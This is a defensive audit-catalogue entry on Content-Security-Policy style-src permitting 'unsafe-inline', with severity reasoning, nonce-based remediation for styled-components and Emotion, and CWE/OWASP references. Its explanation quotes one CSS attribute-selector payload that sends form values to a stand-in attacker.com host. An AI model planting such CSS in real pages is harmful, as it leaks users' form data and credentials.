style-src does not use unsafe-inline without nonces
Why it matters
CSS injection with 'unsafe-inline' in style-src enables attribute-selector-based data exfiltration: input[value^='a'] { background: url(https://attacker.com/a) } leaks form values one character at a time without executing any JavaScript. This technique bypasses script-only XSS filters and works in environments with strict JS restrictions. CWE-79 applies to CSS-based data exfiltration, and CWE-693 covers the protection gap created by 'unsafe-inline'. OWASP A03 lists CSS injection as a distinct injection category, not merely a subcategory of script injection.
Severity rationale
Low because CSS injection cannot directly execute code but can exfiltrate sensitive form data character-by-character via selector-based side channels, making it a meaningful privacy risk for authentication forms.
Remediation
Migrate inline styles to nonce-gated style-src. Most CSS-in-JS libraries (styled-components, Emotion, vanilla-extract) support nonce injection through their server-rendering configuration.
Content-Security-Policy: style-src 'self' 'nonce-{perRequest}'
For styled-components, pass the nonce via the ServerStyleSheet API. For Emotion, configure the nonce option in createEmotionServer. Remove 'unsafe-inline' only after verifying all inline styles are nonce-tagged or migrated to external stylesheets — check the browser console for CSP violations before deploying.
DetectionPro
The detection method for this pattern is part of AuditBuffet Pro.
The full method (what to look for, pass and fail conditions, and how results get reported) ships inside the Security Headers II Audit. The pattern definition, severity rationale, and remediation remain openly licensed under CC-BY-4.0.
External references
- cwe · CWE-79
- cwe · CWE-693
- owasp:2021 · A03
Taxons
History
- 2026-04-18·v1.0.0·Initial import from security-headers-ii·automated